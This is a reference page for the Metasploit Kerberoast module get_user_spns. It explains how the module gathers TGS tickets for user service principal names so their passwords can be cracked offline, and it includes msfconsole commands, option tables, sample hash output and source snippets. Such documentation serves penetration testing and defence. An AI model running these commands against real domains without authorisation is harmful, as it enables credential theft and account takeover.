Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN) - Metasploit
This page contains detailed information about how to use the auxiliary/gather/get_user_spns metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)
Module: auxiliary/gather/get_user_spns
Source code: modules/auxiliary/gather/get_user_spns.py
Disclosure date: 2014-09-27
Last modification time: 2021-05-17 17:04:49 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module is also known as GetUserSPNs.py or Kerberoast.
This module will try to find Service Principal Names that are associated with normal user accounts. Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request will encrypt the ticket with the account the SPN is running under, this could be used for an offline bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. This is part of the kerberoast attack research by Tim Medin (@timmedin).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/gather/get_user_spns
msf auxiliary(get_user_spns) > show options
... show and set options ...
msf auxiliary(get_user_spns) > set RHOSTS ip-range
msf auxiliary(get_user_spns) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(get_user_spns) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(get_user_spns) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(get_user_spns) > set RHOSTS file:/tmp/ip_list.txt
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
domain: The target Active Directory domain
user: Username for a domain account
pass: Password for the domain user account
Knowledge Base
Description
This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain and then submit requests to retrive Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPNs NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.
Verification Steps
To avoid library/version conflict, it would be useful to have a pipenv virtual environment.
pipenv --two && pipenv shell
- Follow the impacket installation steps to install the required libraries.
- Have a domain user account credentials
./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'
- Get Hashes
Scenarios
$ ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts ; set smbuser ; set smbpass ; set smbdomain ; run'
rhosts =>
smbuser =>
smbpass =>
smbdomain =>
[*] Running for ...
[*] Total of records returned
[+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
[+] ------------------------------------------------ ---------- -------------------------------------------------------------------------------- ------------------- -------------------
[+] SPN... User... List... DateTime... Time...
[+] $krb5tgs$23$*user$realm$test/spn*$
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the gather/get_user_spns auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/get_user_spns
msf6 auxiliary(gather/get_user_spns) > show info
Name: Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)
Module: auxiliary/gather/get_user_spns
License: CORE Security License (Apache 1.1)
Rank: Normal
Disclosed: 2014-09-27
Provided by:
Alberto Solino
Jacob Robles
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
domain yes The target Active Directory domain
pass yes Password for the domain user account
user yes Username for a domain account
Description:
This module will try to find Service Principal Names that are
associated with normal user accounts. Since normal accounts'
passwords tend to be shorter than machine accounts, and knowing that
a TGS request will encrypt the ticket with the account the SPN is
running under, this could be used for an offline bruteforcing attack
of the SPNs account NTLM hash if we can gather valid TGS for those
SPNs. This is part of the kerberoast attack research by Tim Medin
(@timmedin).
References:
https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py
https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
Also known as:
GetUserSPNs.py
Kerberoast
Module Options
This is a complete list of options available in the gather/get_user_spns auxiliary module:
msf6 auxiliary(gather/get_user_spns) > show options
Module options (auxiliary/gather/get_user_spns):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
domain yes The target Active Directory domain
pass yes Password for the domain user account
user yes Username for a domain account
Advanced Options
Here is a complete list of advanced options supported by the gather/get_user_spns auxiliary module:
msf6 auxiliary(gather/get_user_spns) > show advanced
Module advanced options (auxiliary/gather/get_user_spns):
Name Current Setting Required Description
---- --------------- -------- -----------
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/get_user_spns module can do:
msf6 auxiliary(gather/get_user_spns) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/get_user_spns auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/get_user_spns) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error while anonymous logging into %s
Here is a relevant code snippet related to the "Error while anonymous logging into %s" error message:
110: s = SMBConnection(self.__domain, self.__domain)
111: try:
112: s.login('', '')
113: except Exception:
114: if s.getServerName() == '':
115: raise Exception('Error while anonymous logging into %s' % self.__domain)
116: else:
117: s.logoff()
118: return s.getServerName()
119:
120: @staticmethod
Exception for getKerberosTGT
Here is a relevant code snippet related to the "Exception for getKerberosTGT" error message:
150: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
151: compute_lmhash(password),
152: compute_nthash(password), self.__aesKey,
153: kdcHost=self.__kdcHost)
154: except Exception as e:
155: module.log('Exception for getKerberosTGT', level='error')
156: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
157: unhexlify(self.__lmhash),
158: unhexlify(self.__nthash), self.__aesKey,
159: kdcHost=self.__kdcHost)
160:
sizeLimitExceeded
Here is a relevant code snippet related to the "sizeLimitExceeded" error message:
229: resp = ldapConnection.search(searchFilter=searchFilter,
230: attributes=['servicePrincipalName', 'sAMAccountName',
231: 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
232: sizeLimit=999)
233: except ldap.LDAPSearchError as e:
234: if e.getErrorString().find('sizeLimitExceeded') >= 0:
235: module.log('sizeLimitExceeded exception caught, giving up and processing the data received', level='debug')
236: # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
237: # paged queries
238: resp = e.getAnswers()
239: else:
Skipping item, cannot process due to error
Here is a relevant code snippet related to the "Skipping item, cannot process due to error" error message:
282: module.log('Bypassing disabled account {}'.format(sAMAccountName), level='debug')
283: else:
284: for spn in SPNs:
285: answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon])
286: except Exception as e:
287: module.log('Skipping item, cannot process due to error', level='error')
288:
289: if len(answers)>0:
290: self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
291:
292: if self.__requestTGS is True:
SPN Exception: {} - {}
Here is a relevant code snippet related to the "SPN Exception: {} - {}" error message:
302: self.__kdcHost,
303: TGT['KDC_REP'], TGT['cipher'],
304: TGT['sessionKey'])
305: self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN)
306: except Exception as e:
307: module.log('SPN Exception: {} - {}'.format(SPN, str(e)), level='error')
308:
309: else:
310: module.log('No entries found!', level='info')
311:
312:
Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue
Here is a relevant code snippet related to the "Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue" error message:
310: module.log('No entries found!', level='info')
311:
312:
313: def run(args):
314: if dependencies_missing:
315: module.log('Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue', level='error')
316: return
317:
318: options = {}
319: options['dc_ip'] = args['rhost']
320: executer = GetUserSPNs(args['user'], args['pass'], args['domain'], options)
Go back to menu.
Related Pull Requests
- #15212 Merged Pull Request: Converts Python shebangs over to Python 3
- #12524 Merged Pull Request: Convert all python code to python3. Fixes #12506.
- #10570 Merged Pull Request: AKA Metadata Refactor
- #9718 Merged Pull Request: Add get_user_spns external module and documentation
References
- CVE: Not available
- https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py
- https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/get_simple_cms_upload_exec
- post/windows/gather/get_bookmarks
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/fuzzers/http/http_get_uri_long
- auxiliary/fuzzers/http/http_get_uri_strings
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
- auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration
- auxiliary/scanner/http/synology_forget_passwd_user_enum
- auxiliary/scanner/http/webpagetest_traversal
- auxiliary/scanner/http/zenworks_assetmanagement_getconfig
- auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
- auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints
- auxiliary/scanner/sap/sap_mgmt_con_getenv
- auxiliary/scanner/sap/sap_mgmt_con_getlogfiles
- auxiliary/scanner/sap/sap_mgmt_con_getprocesslist
- auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter
- auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
- auxiliary/server/wget_symlink_file_write
- auxiliary/sqli/oracle/dbms_metadata_get_granted_xml
- auxiliary/sqli/oracle/dbms_metadata_get_xml
- auxiliary/gather/ibm_sametime_enumerate_users
- auxiliary/gather/kerberos_enumusers
- auxiliary/gather/office365userenum
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
Authors
- Alberto Solino
- Jacob Robles
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.